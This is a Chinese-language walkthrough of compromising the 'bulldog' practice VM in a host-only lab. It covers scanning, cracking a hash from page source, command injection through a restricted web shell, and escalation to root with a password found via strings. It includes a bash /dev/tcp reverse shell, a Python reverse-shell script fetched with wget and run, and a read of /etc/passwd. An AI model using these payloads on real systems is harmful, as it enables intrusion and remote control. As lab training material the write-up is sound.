配置:
VirtualBox运行靶机bulldog,网卡设置为Host-only;
VMware下运行kali作为攻击机,网卡设置为桥接模式Vritual box Host-only
Kali:192.168.56.102
bulldog:192.168.56.103
netdiscover -r 192.168.56.0/24
![](https://img-blog.csdnimg.cn/20210401150551622.png)
发现靶机IP:192.168.56.103
nmap -T4 -A -v -p- 192.168.56.103
![](https://img-blog.csdnimg.cn/20210401150551813.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L09hdmluY2k=,size_16,color_FFFFFF,t_70)
开放了23、80、8080三个端口,发现ssh服务和web服务
dirsearch扫描下目录
![](https://img-blog.csdnimg.cn/20210401150551855.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L09hdmluY2k=,size_16,color_FFFFFF,t_70)
访问/dev发现一个shell,但目前没登录还不能使用
![](https://img-blog.csdnimg.cn/20210401150551564.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L09hdmluY2k=,size_16,color_FFFFFF,t_70)
查看/dev源代码发现
![](https://img-blog.csdnimg.cn/20210401150551508.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L09hdmluY2k=,size_16,color_FFFFFF,t_70)
将Sarah的mad5值解码得到bulldoglover
![](https://img-blog.csdnimg.cn/20210401150551459.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L09hdmluY2k=,size_16,color_FFFFFF,t_70)
访问/admin成功登录,提示没有权限
![](https://img-blog.csdnimg.cn/20210401150551481.png)
Linux提权
访问之前发现的/dev/shell
![](https://img-blog.csdnimg.cn/20210401150551539.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L09hdmluY2k=,size_16,color_FFFFFF,t_70)
显示可以执行命令但只可以执行以上命令,尝试用&进行绕过
![](https://img-blog.csdnimg.cn/20210401150551511.png)
kali启动监听
nc -lvnp 4444
在/dev/shell输入
ls &&echo "bash -i >& /dev/tcp/192.168.56.102/4444 0>&1" | bash
拿到shell
![](https://img-blog.csdnimg.cn/20210401150551724.png)
cat /etc/passwd
![](https://img-blog.csdnimg.cn/20210401150551814.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L09hdmluY2k=,size_16,color_FFFFFF,t_70)
cd /home/bulldogadmin
查看包括隐藏文件的全部文件
ls -la
![](https://img-blog.csdnimg.cn/20210401150551687.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L09hdmluY2k=,size_16,color_FFFFFF,t_70)
查看.hiddenadmindirectory文件, 有note和customPermissionApp
note提示django用户有时有root权限
cat打开customPermissionApp文件都是乱码,用strings打开
strings customPermissionApp
发现密码:SUPERultimatePASSWORDyouCANTget
![](https://img-blog.csdnimg.cn/20210401150551734.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L09hdmluY2k=,size_16,color_FFFFFF,t_70)
sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。python就有这样的功能。
用python调用本地的shell命令,利用python pty模块的shell来进行交互
python -c 'import pty;pty.spawn("/bin/sh")'
sudo su
输入密码拿到root权限
![](https://img-blog.csdnimg.cn/20210401151009783.png)
读取flag文件
![](https://img-blog.csdnimg.cn/20210401150551614.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L09hdmluY2k=,size_16,color_FFFFFF,t_70)
另一种shell反弹方法:
在Kali上用python搭建一个简单HTTP服务器
python -m SimpleHTTPServer 80
shell脚本python-shell.py
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.56.102",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
把shell放到搭建的网站目录下
![](https://img-blog.csdnimg.cn/20210401150551531.png)
在192.168.56.103/dev/shell执行以下命令
pwd&wget http://192.168.56.102/python-shell.py
![](https://img-blog.csdnimg.cn/20210401150551556.png)
在kali监听
nc -lvnp 4444
/dev/shell下继续执行反弹脚本
pwd&python python-shell.py
![](https://img-blog.csdnimg.cn/20210401150551566.png)
kali得到shell
![](https://img-blog.csdnimg.cn/20210401150551758.png)